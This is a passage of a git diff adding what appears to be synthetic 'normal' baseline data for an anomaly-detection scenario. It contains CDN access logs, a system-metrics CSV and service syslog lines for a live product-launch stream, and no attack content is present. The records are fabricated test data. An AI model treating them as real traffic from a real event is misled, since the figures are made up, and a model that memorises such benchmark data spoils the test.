Mobile/15E148 Safari/604.1" +Aug 22 10:03:06 cdn-edge-router: 198.51.100.1 - GET /live/product-launch-2025/segment24.ts HTTP/1.1 206 "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" +Aug 22 10:03:06 cdn-edge-router: 198.51.100.18 - GET /live/product-launch-2025/segment73.ts HTTP/1.1 206 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 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HTTP/1.1 206 "Dalvik/2.1.0 (Linux; U; Android 13; SM-G998B Build/TP1A.220624.014)" +Aug 22 10:03:21 cdn-edge-router: 198.51.100.3 - GET /live/product-launch-2025/segment2.ts HTTP/1.1 206 "Dalvik/2.1.0 (Linux; U; Android 13; SM-G998B Build/TP1A.220624.014)" +Aug 22 10:03:21 cdn-edge-router: 198.51.100.4 - GET /live/product-launch-2025/segment82.ts HTTP/1.1 206 "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" +Aug 22 10:03:22 cdn-edge-router: 198.51.100.4 - GET /live/product-launch-2025/segment94.ts HTTP/1.1 206 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" +Aug 22 10:03:22 cdn-edge-router: 198.51.100.8 - GET /live/product-launch-2025/segment1.ts HTTP/1.1 206 "Dalvik/2.1.0 (Linux; U; Android 13; SM-G998B Build/TP1A.220624.014)" +Aug 22 10:03:23 cdn-edge-router: 198.51.100.15 - GET /live/product-launch-2025/segment41.ts HTTP/1.1 206 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HTTP/1.1 206 "Dalvik/2.1.0 (Linux; U; Android 13; SM-G998B Build/TP1A.220624.014)" +Aug 22 10:05:24 cdn-edge-router: 198.51.100.6 - GET /live/product-launch-2025/segment94.ts HTTP/1.1 206 "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" +Aug 22 10:05:25 cdn-edge-router: 198.51.100.20 - GET /live/product-launch-2025/segment68.ts HTTP/1.1 206 "Dalvik/2.1.0 (Linux; U; Android 13; SM-G998B Build/TP1A.220624.014)" +Aug 22 10:05:25 cdn-edge-router: 198.51.100.3 - GET /live/product-launch-2025/segment100.ts HTTP/1.1 206 "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" +Aug 22 10:05:25 cdn-edge-router: 198.51.100.7 - GET /live/product-launch-2025/segment53.ts HTTP/1.1 206 "Dalvik/2.1.0 (Linux; U; Android 13; SM-G998B Build/TP1A.220624.014)" +Aug 22 10:05:26 cdn-edge-router: 198.51.100.18 - GET /live/product-launch-2025/segment29.ts HTTP/1.1 206 "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" +Aug 22 10:05:26 cdn-edge-router: 198.51.100.5 - GET /live/product-launch-2025/segment88.ts HTTP/1.1 206 "Dalvik/2.1.0 (Linux; U; Android 13; SM-G998B Build/TP1A.220624.014)" +Aug 22 10:05:27 cdn-edge-router: 198.51.100.12 - GET /live/product-launch-2025/segment23.ts HTTP/1.1 206 "Dalvik/2.1.0 (Linux; U; Android 13; SM-G998B Build/TP1A.220624.014)" +Aug 22 10:05:27 cdn-edge-router: 198.51.100.20 - GET /live/product-launch-2025/segment16.ts HTTP/1.1 206 "Dalvik/2.1.0 (Linux; U; Android 13; SM-G998B Build/TP1A.220624.014)" +Aug 22 10:05:27 cdn-edge-router: 198.51.100.4 - GET /live/product-launch-2025/segment81.ts HTTP/1.1 206 "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" +Aug 22 10:05:27 cdn-edge-router: 198.51.100.5 - GET /live/product-launch-2025/segment31.ts HTTP/1.1 206 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" +Aug 22 10:05:28 cdn-edge-router: 198.51.100.15 - GET /live/product-launch-2025/segment53.ts HTTP/1.1 206 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" +Aug 22 10:05:28 cdn-edge-router: 198.51.100.19 - GET /live/product-launch-2025/segment36.ts HTTP/1.1 206 "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" +Aug 22 10:05:28 cdn-edge-router: 198.51.100.5 - GET /live/product-launch-2025/segment76.ts HTTP/1.1 206 "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" +Aug 22 10:05:29 cdn-edge-router: 198.51.100.18 - GET /live/product-launch-2025/segment82.ts HTTP/1.1 206 "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) 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HTTP/1.1 206 "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" +Aug 22 10:05:30 cdn-edge-router: 198.51.100.8 - GET /live/product-launch-2025/segment37.ts HTTP/1.1 206 "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" +Aug 22 10:05:31 cdn-edge-router: 198.51.100.10 - GET /live/product-launch-2025/segment51.ts HTTP/1.1 206 "Dalvik/2.1.0 (Linux; U; Android 13; SM-G998B Build/TP1A.220624.014)" +Aug 22 10:05:31 cdn-edge-router: 198.51.100.18 - GET /live/product-launch-2025/segment75.ts HTTP/1.1 206 "Dalvik/2.1.0 (Linux; U; Android 13; SM-G998B Build/TP1A.220624.014)" +Aug 22 10:05:32 cdn-edge-router: 198.51.100.11 - GET /live/product-launch-2025/segment100.ts HTTP/1.1 206 "Dalvik/2.1.0 (Linux; U; Android 13; SM-G998B Build/TP1A.220624.014)" +Aug 22 10:05:32 cdn-edge-router: 198.51.100.18 - GET /live/product-launch-2025/segment44.ts HTTP/1.1 206 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" +Aug 22 10:05:32 cdn-edge-router: 198.51.100.18 - GET /live/product-launch-2025/segment92.ts HTTP/1.1 206 "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" +Aug 22 10:05:33 cdn-edge-router: 198.51.100.14 - GET /live/product-launch-2025/segment30.ts HTTP/1.1 206 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" +Aug 22 10:05:34 cdn-edge-router: 198.51.100.13 - GET /live/product-launch-2025/segment91.ts HTTP/1.1 206 "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" +Aug 22 10:05:34 cdn-edge-router: 198.51.100.14 - GET /live/product-launch-2025/segment4.ts HTTP/1.1 206 "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) 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"Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" +Aug 22 10:05:40 cdn-edge-router: 198.51.100.16 - GET /live/product-launch-2025/segment27.ts HTTP/1.1 206 "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" +Aug 22 10:05:40 cdn-edge-router: 198.51.100.19 - GET /live/product-launch-2025/segment99.ts HTTP/1.1 206 "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" +Aug 22 10:05:41 cdn-edge-router: 198.51.100.1 - GET /live/product-launch-2025/segment41.ts HTTP/1.1 206 "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1" +Aug 22 10:05:41 cdn-edge-router: 198.51.100.13 - GET /live/product-launch-2025/segment11.ts HTTP/1.1 206 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 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Chrome/114.0.0.0 Mobile Safari/537.36" diff --git a/norm_dataset/scenario_7/norm_7_26.csv b/norm_dataset/scenario_7/norm_7_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..24e32e5333c84d7a8eeb730681fdcd3a0eaa2ecf --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,net_connections +2025-08-22T10:00:00Z,17.64,54.66,15.82,4.21,7.0,164 +2025-08-22T10:00:05Z,15.67,52.97,14.46,5.09,12.67,205 +2025-08-22T10:00:10Z,19.35,58.33,15.01,5.39,8.62,180 +2025-08-22T10:00:15Z,20.18,54.6,11.67,5.5,9.42,220 +2025-08-22T10:00:20Z,14.6,52.62,15.02,5.37,12.1,212 +2025-08-22T10:00:25Z,21.25,56.29,14.5,3.94,9.01,173 +2025-08-22T10:00:30Z,19.92,54.11,14.03,5.56,9.26,235 +2025-08-22T10:00:35Z,18.09,58.43,12.83,4.61,7.99,214 +2025-08-22T10:00:40Z,20.87,53.87,12.11,4.95,7.13,209 +2025-08-22T10:00:45Z,20.13,54.34,16.73,5.23,9.33,234 +2025-08-22T10:00:50Z,14.31,54.53,16.35,3.88,8.76,169 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activities... +Aug 22 10:00:00 web-app[3456]: GET /api/v1/user/193 status=200 OK +Aug 22 10:00:10 web-app[3456]: GET /api/v1/user/181 status=200 OK +Aug 22 10:00:30 health-checker[1122]: INFO Health check passed for stream-server. +Aug 22 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:00 health-checker[1122]: INFO Health check passed for stream-server. +Aug 22 10:01:00 web-app[3456]: GET /api/v1/user/136 status=200 OK +Aug 22 10:01:30 health-checker[1122]: INFO Health check passed for stream-server. +Aug 22 10:01:30 web-app[3456]: GET /api/v1/user/115 status=200 OK +Aug 22 10:01:35 web-app[3456]: GET /api/v1/user/120 status=200 OK +Aug 22 10:01:40 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:50 web-app[3456]: GET /api/v1/user/165 status=200 OK +Aug 22 10:02:00 health-checker[1122]: INFO Health check passed for stream-server. +Aug 22 10:02:00 web-app[3456]: GET /api/v1/user/163 status=200 OK +Aug 22 10:02:20 web-app[3456]: GET /api/v1/user/107 status=200 OK +Aug 22 10:02:30 health-checker[1122]: INFO Health check passed for stream-server. +Aug 22 10:02:30 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:40 web-app[3456]: GET /api/v1/user/111 status=200 OK +Aug 22 10:02:50 web-app[3456]: GET /api/v1/user/122 status=200 OK +Aug 22 10:03:00 stream-server[5678]: INFO: Live stream 'product-launch-2025' has started. +Aug 22 10:03:00 cdn-access[9012]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:03:00 cdn-access[9012]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:03:00 cdn-access[9012]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:03:00 cdn-access[9012]: GET /live/product-launch-2025/segment3.ts status=200 OK +Aug 22 10:03:00 cdn-access[9012]: GET /live/product-launch-2025/segment4.ts status=206 Partial Content +Aug 22 10:03:00 cdn-access[9012]: GET /live/product-launch-2025/segment2.ts status=200 OK +Aug 22 10:03:00 cdn-access[9012]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:03:00 cdn-access[9012]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:03:00 cdn-access[9012]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:03:00 cdn-access[9012]: GET /live/product-launch-2025/segment1.ts status=200 OK +Aug 22 10:03:00 cdn-access[9012]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:03:00 cdn-access[9012]: GET /live/product-launch-2025/segment3.ts status=206 Partial Content +Aug 22 10:03:00 cdn-access[9012]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:03:00 cdn-access[9012]: GET /live/product-launch-2025/segment1.ts status=206 Partial Content +Aug 22 10:03:00 cdn-access[9012]: GET /live/product-launch-2025/segment3.ts status=200 OK +Aug 22 10:03:00 cdn-access[9012]: GET /live/product-launch-2025/segment4.ts status=206 Partial Content +Aug 22 10:03:00 cdn-access[9012]: GET /live/product-launch-2025/segment2.ts status=206 Partial Content +Aug 22 10:03:00 cdn-access[9012]: GET /live/product-launch-2025/segment4.ts status=200 OK +Aug 22 10:03:00 cdn-access[9012]: GET /live/product-launch-2025/segment1.ts status=200 OK +Aug 22 10:03:00 cdn-access[9012]: GET /live/product-launch-2025/segment4.ts status=206 Partial Content +Aug 22 10:03:05 cdn-access[9012]: GET /live/product-launch-2025/segment22.ts status=206 Partial Content +Aug 22 10:03:05 cdn-access[9012]: GET /live/product-launch-2025/segment18.ts status=206 Partial Content +Aug 22 10:03:05 cdn-access[9012]: GET /live/product-launch-2025/segment6.ts status=200 OK +Aug 22 10:03:05 cdn-access[9012]: GET /live/product-launch-2025/segment17.ts status=206 Partial Content +Aug 22 10:03:05 cdn-access[9012]: GET /live/product-launch-2025/segment47.ts status=206 Partial Content +Aug 22 10:03:05 cdn-access[9012]: GET /live/product-launch-2025/segment37.ts status=206 Partial Content +Aug 22 10:03:05 cdn-access[9012]: GET /live/product-launch-2025/segment8.ts status=206 Partial Content +Aug 22 10:03:05 cdn-access[9012]: GET /live/product-launch-2025/segment18.ts status=206 Partial Content +Aug 22 10:03:05 cdn-access[9012]: GET /live/product-launch-2025/segment47.ts status=206 Partial Content +Aug 22 10:03:05 cdn-access[9012]: GET /live/product-launch-2025/segment14.ts status=206 Partial Content +Aug 22 10:03:05 cdn-access[9012]: GET /live/product-launch-2025/segment41.ts status=200 OK +Aug 22 10:03:05 cdn-access[9012]: GET /live/product-launch-2025/segment48.ts status=206 Partial Content +Aug 22 10:03:05 cdn-access[9012]: GET /live/product-launch-2025/segment28.ts status=206 Partial Content +Aug 22 10:03:05 cdn-access[9012]: GET /live/product-launch-2025/segment49.ts status=200 OK +Aug 22 10:03:05 cdn-access[9012]: GET /live/product-launch-2025/segment13.ts status=206 Partial Content +Aug 22 10:03:05 cdn-access[9012]: GET /live/product-launch-2025/segment44.ts status=206 Partial Content +Aug 22 10:03:05 cdn-access[9012]: GET /live/product-launch-2025/segment29.ts status=206 Partial Content +Aug 22 10:03:05 cdn-access[9012]: GET /live/product-launch-2025/segment23.ts status=206 Partial Content +Aug 22 10:03:05 cdn-access[9012]: GET /live/product-launch-2025/segment31.ts status=200 OK +Aug 22 10:03:05 cdn-access[9012]: GET /live/product-launch-2025/segment37.ts status=200 OK +Aug 22 10:03:05 cdn-access[9012]: GET /live/product-launch-2025/segment21.ts status=206 Partial Content +Aug 22 10:03:05 stream-server[5678]: INFO: Current viewers: 50202. +Aug 22 10:03:10 cdn-access[9012]: GET /live/product-launch-2025/segment9.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[9012]: GET /live/product-launch-2025/segment28.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[9012]: GET /live/product-launch-2025/segment21.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[9012]: GET /live/product-launch-2025/segment12.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[9012]: GET /live/product-launch-2025/segment23.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[9012]: GET /live/product-launch-2025/segment20.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[9012]: GET /live/product-launch-2025/segment32.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[9012]: GET /live/product-launch-2025/segment39.ts status=200 OK +Aug 22 10:03:10 cdn-access[9012]: GET /live/product-launch-2025/segment33.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[9012]: GET /live/product-launch-2025/segment36.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[9012]: GET /live/product-launch-2025/segment34.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[9012]: GET /live/product-launch-2025/segment13.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[9012]: GET /live/product-launch-2025/segment39.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[9012]: GET /live/product-launch-2025/segment48.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[9012]: GET /live/product-launch-2025/segment22.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[9012]: GET /live/product-launch-2025/segment23.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[9012]: GET /live/product-launch-2025/segment35.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[9012]: GET /live/product-launch-2025/segment16.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[9012]: GET /live/product-launch-2025/segment31.ts status=206 Partial Content +Aug 22 10:03:10 cdn-access[9012]: GET /live/product-launch-2025/segment36.ts status=206 Partial Content +Aug 22 10:03:15 cdn-access[9012]: GET /live/product-launch-2025/segment18.ts status=200 OK +Aug 22 10:03:15 cdn-access[9012]: GET /live/product-launch-2025/segment21.ts status=206 Partial Content +Aug 22 10:03:15 cdn-access[9012]: GET /live/product-launch-2025/segment26.ts status=206 Partial Content +Aug 22 10:03:15 cdn-access[9012]: GET /live/product-launch-2025/segment22.ts status=206 Partial Content +Aug 22 10:03:15 cdn-access[9012]: GET /live/product-launch-2025/segment31.ts status=206 Partial Content +Aug 22 10:03:15 cdn-access[9012]: GET /live/product-launch-2025/segment36.ts status=206 Partial Content +Aug 22 10:03:15 cdn-access[9012]: GET /live/product-launch-2025/segment39.ts status=206 Partial Content +Aug 22 10:03:15 cdn-access[9012]: GET /live/product-launch-2025/segment24.ts status=206 Partial Content +Aug 22 10:03:15 cdn-access[9012]: GET /live/product-launch-2025/segment14.ts status=206 Partial Content +Aug 22 10:03:15 cdn-access[9012]: GET /live/product-launch-2025/segment39.ts status=206 Partial Content +Aug 22 10:03:15 cdn-access[9012]: GET /live/product-launch-2025/segment48.ts status=206 Partial Content +Aug 22 10:03:15 cdn-access[9012]: GET /live/product-launch-2025/segment47.ts status=206 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/live/product-launch-2025/segment34.ts status=206 Partial Content +Aug 22 10:03:55 cdn-access[9012]: GET /live/product-launch-2025/segment37.ts status=200 OK +Aug 22 10:03:55 cdn-access[9012]: GET /live/product-launch-2025/segment16.ts status=200 OK +Aug 22 10:03:55 cdn-access[9012]: GET /live/product-launch-2025/segment40.ts status=206 Partial Content +Aug 22 10:04:00 cdn-access[9012]: GET /live/product-launch-2025/segment26.ts status=206 Partial Content +Aug 22 10:04:00 cdn-access[9012]: GET /live/product-launch-2025/segment25.ts status=206 Partial Content +Aug 22 10:04:00 cdn-access[9012]: GET /live/product-launch-2025/segment22.ts status=206 Partial Content +Aug 22 10:04:00 cdn-access[9012]: GET /live/product-launch-2025/segment25.ts status=206 Partial Content +Aug 22 10:04:00 cdn-access[9012]: GET /live/product-launch-2025/segment49.ts status=206 Partial Content +Aug 22 10:04:00 cdn-access[9012]: GET /live/product-launch-2025/segment28.ts status=206 Partial Content +Aug 22 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/live/product-launch-2025/segment39.ts status=206 Partial Content +Aug 22 10:04:00 cdn-access[9012]: GET /live/product-launch-2025/segment11.ts status=206 Partial Content +Aug 22 10:04:00 cdn-access[9012]: GET /live/product-launch-2025/segment6.ts status=206 Partial Content +Aug 22 10:04:00 cdn-access[9012]: GET /live/product-launch-2025/segment35.ts status=206 Partial Content +Aug 22 10:04:00 cdn-access[9012]: GET /live/product-launch-2025/segment41.ts status=206 Partial Content +Aug 22 10:04:00 kubelet[2345]: INFO Liveness probe succeeded for pod stream-server-pod +Aug 22 10:04:05 cdn-access[9012]: GET /live/product-launch-2025/segment9.ts status=206 Partial Content +Aug 22 10:04:05 cdn-access[9012]: GET /live/product-launch-2025/segment33.ts status=200 OK +Aug 22 10:04:05 cdn-access[9012]: GET /live/product-launch-2025/segment30.ts status=206 Partial Content +Aug 22 10:04:05 cdn-access[9012]: GET /live/product-launch-2025/segment44.ts status=206 Partial Content +Aug 22 10:04:05 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/live/product-launch-2025/segment43.ts status=206 Partial Content +Aug 22 10:04:45 cdn-access[9012]: GET /live/product-launch-2025/segment9.ts status=206 Partial Content +Aug 22 10:04:45 cdn-access[9012]: GET /live/product-launch-2025/segment38.ts status=206 Partial Content +Aug 22 10:04:45 cdn-access[9012]: GET /live/product-launch-2025/segment26.ts status=206 Partial Content +Aug 22 10:04:45 cdn-access[9012]: GET /live/product-launch-2025/segment10.ts status=206 Partial Content +Aug 22 10:04:45 cdn-access[9012]: GET /live/product-launch-2025/segment15.ts status=206 Partial Content +Aug 22 10:04:45 cdn-access[9012]: GET /live/product-launch-2025/segment49.ts status=206 Partial Content +Aug 22 10:04:45 cdn-access[9012]: GET /live/product-launch-2025/segment42.ts status=206 Partial Content +Aug 22 10:04:45 cdn-access[9012]: GET /live/product-launch-2025/segment38.ts status=206 Partial Content +Aug 22 10:04:45 cdn-access[9012]: GET /live/product-launch-2025/segment18.ts status=200 OK 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status=206 Partial Content +Aug 22 10:04:50 cdn-access[9012]: GET /live/product-launch-2025/segment38.ts status=206 Partial Content +Aug 22 10:04:50 cdn-access[9012]: GET /live/product-launch-2025/segment14.ts status=206 Partial Content +Aug 22 10:04:50 cdn-access[9012]: GET /live/product-launch-2025/segment30.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment37.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment43.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment27.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment22.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment11.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment28.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment8.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment42.ts status=200 OK +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment36.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment6.ts status=200 OK +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment28.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment36.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment8.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment13.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment9.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment5.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment36.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment10.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment15.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment38.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment7.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment25.ts status=206 Partial Content +Aug 22 10:04:55 cdn-access[9012]: GET /live/product-launch-2025/segment24.ts status=200 OK +Aug 22 10:05:00 cdn-access[9012]: GET /live/product-launch-2025/segment27.ts status=206 Partial Content +Aug 22 10:05:00 cdn-access[9012]: GET /live/product-launch-2025/segment49.ts status=206 Partial Content +Aug 22 10:05:00 cdn-access[9012]: GET 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/live/product-launch-2025/segment20.ts status=206 Partial Content +Aug 22 10:05:00 cdn-access[9012]: GET /live/product-launch-2025/segment45.ts status=206 Partial Content +Aug 22 10:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod stream-server-pod +Aug 22 10:05:00 stream-server[5678]: INFO: Current viewers: 49523. +Aug 22 10:05:05 cdn-access[9012]: GET /live/product-launch-2025/segment33.ts status=206 Partial Content +Aug 22 10:05:05 cdn-access[9012]: GET /live/product-launch-2025/segment42.ts status=206 Partial Content +Aug 22 10:05:05 cdn-access[9012]: GET /live/product-launch-2025/segment21.ts status=206 Partial Content +Aug 22 10:05:05 cdn-access[9012]: GET /live/product-launch-2025/segment38.ts status=206 Partial Content +Aug 22 10:05:05 cdn-access[9012]: GET /live/product-launch-2025/segment49.ts status=200 OK +Aug 22 10:05:05 cdn-access[9012]: GET /live/product-launch-2025/segment24.ts status=206 Partial Content +Aug 22 10:05:05 cdn-access[9012]: GET /live/product-launch-2025/segment49.ts status=206 Partial Content +Aug 22 10:05:05 cdn-access[9012]: GET /live/product-launch-2025/segment8.ts status=206 Partial Content +Aug 22 10:05:05 cdn-access[9012]: GET /live/product-launch-2025/segment21.ts status=206 Partial Content +Aug 22 10:05:05 cdn-access[9012]: GET /live/product-launch-2025/segment10.ts status=206 Partial Content +Aug 22 10:05:05 cdn-access[9012]: GET /live/product-launch-2025/segment30.ts status=206 Partial Content +Aug 22 10:05:05 cdn-access[9012]: GET /live/product-launch-2025/segment42.ts status=206 Partial Content +Aug 22 10:05:05 cdn-access[9012]: GET /live/product-launch-2025/segment40.ts status=206 Partial Content +Aug 22 10:05:05 cdn-access[9012]: GET /live/product-launch-2025/segment10.ts status=206 Partial Content +Aug 22 10:05:05 cdn-access[9012]: GET /live/product-launch-2025/segment48.ts status=206 Partial Content +Aug 22 10:05:05 cdn-access[9012]: GET /live/product-launch-2025/segment36.ts status=200 OK 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/live/product-launch-2025/segment22.ts status=206 Partial Content +Aug 22 10:05:10 cdn-access[9012]: GET /live/product-launch-2025/segment21.ts status=200 OK +Aug 22 10:05:10 cdn-access[9012]: GET /live/product-launch-2025/segment9.ts status=206 Partial Content +Aug 22 10:05:10 cdn-access[9012]: GET /live/product-launch-2025/segment37.ts status=206 Partial Content +Aug 22 10:05:15 cdn-access[9012]: GET /live/product-launch-2025/segment42.ts status=206 Partial Content +Aug 22 10:05:15 cdn-access[9012]: GET /live/product-launch-2025/segment23.ts status=206 Partial Content +Aug 22 10:05:15 cdn-access[9012]: GET /live/product-launch-2025/segment11.ts status=206 Partial Content +Aug 22 10:05:15 cdn-access[9012]: GET /live/product-launch-2025/segment42.ts status=206 Partial Content +Aug 22 10:05:15 cdn-access[9012]: GET /live/product-launch-2025/segment45.ts status=206 Partial Content +Aug 22 10:05:15 cdn-access[9012]: GET /live/product-launch-2025/segment32.ts status=206 Partial Content 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/live/product-launch-2025/segment15.ts status=206 Partial Content +Aug 22 10:05:15 cdn-access[9012]: GET /live/product-launch-2025/segment32.ts status=206 Partial Content +Aug 22 10:05:15 cdn-access[9012]: GET /live/product-launch-2025/segment13.ts status=206 Partial Content +Aug 22 10:05:15 cdn-access[9012]: GET /live/product-launch-2025/segment13.ts status=206 Partial Content +Aug 22 10:05:15 cdn-access[9012]: GET /live/product-launch-2025/segment20.ts status=206 Partial Content +Aug 22 10:05:15 cdn-access[9012]: GET /live/product-launch-2025/segment19.ts status=206 Partial Content +Aug 22 10:05:15 cdn-access[9012]: GET /live/product-launch-2025/segment32.ts status=206 Partial Content +Aug 22 10:05:15 cdn-access[9012]: GET /live/product-launch-2025/segment46.ts status=200 OK +Aug 22 10:05:15 cdn-access[9012]: GET /live/product-launch-2025/segment18.ts status=206 Partial Content +Aug 22 10:05:20 cdn-access[9012]: GET /live/product-launch-2025/segment35.ts status=206 Partial Content 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/live/product-launch-2025/segment37.ts status=206 Partial Content +Aug 22 10:05:25 cdn-access[9012]: GET /live/product-launch-2025/segment18.ts status=206 Partial Content +Aug 22 10:05:25 cdn-access[9012]: GET /live/product-launch-2025/segment25.ts status=206 Partial Content +Aug 22 10:05:25 cdn-access[9012]: GET /live/product-launch-2025/segment18.ts status=206 Partial Content +Aug 22 10:05:25 cdn-access[9012]: GET /live/product-launch-2025/segment8.ts status=200 OK +Aug 22 10:05:30 cdn-access[9012]: GET /live/product-launch-2025/segment40.ts status=206 Partial Content +Aug 22 10:05:30 cdn-access[9012]: GET /live/product-launch-2025/segment45.ts status=206 Partial Content +Aug 22 10:05:30 cdn-access[9012]: GET /live/product-launch-2025/segment48.ts status=206 Partial Content +Aug 22 10:05:30 cdn-access[9012]: GET /live/product-launch-2025/segment46.ts status=206 Partial Content +Aug 22 10:05:30 cdn-access[9012]: GET /live/product-launch-2025/segment28.ts status=206 Partial Content 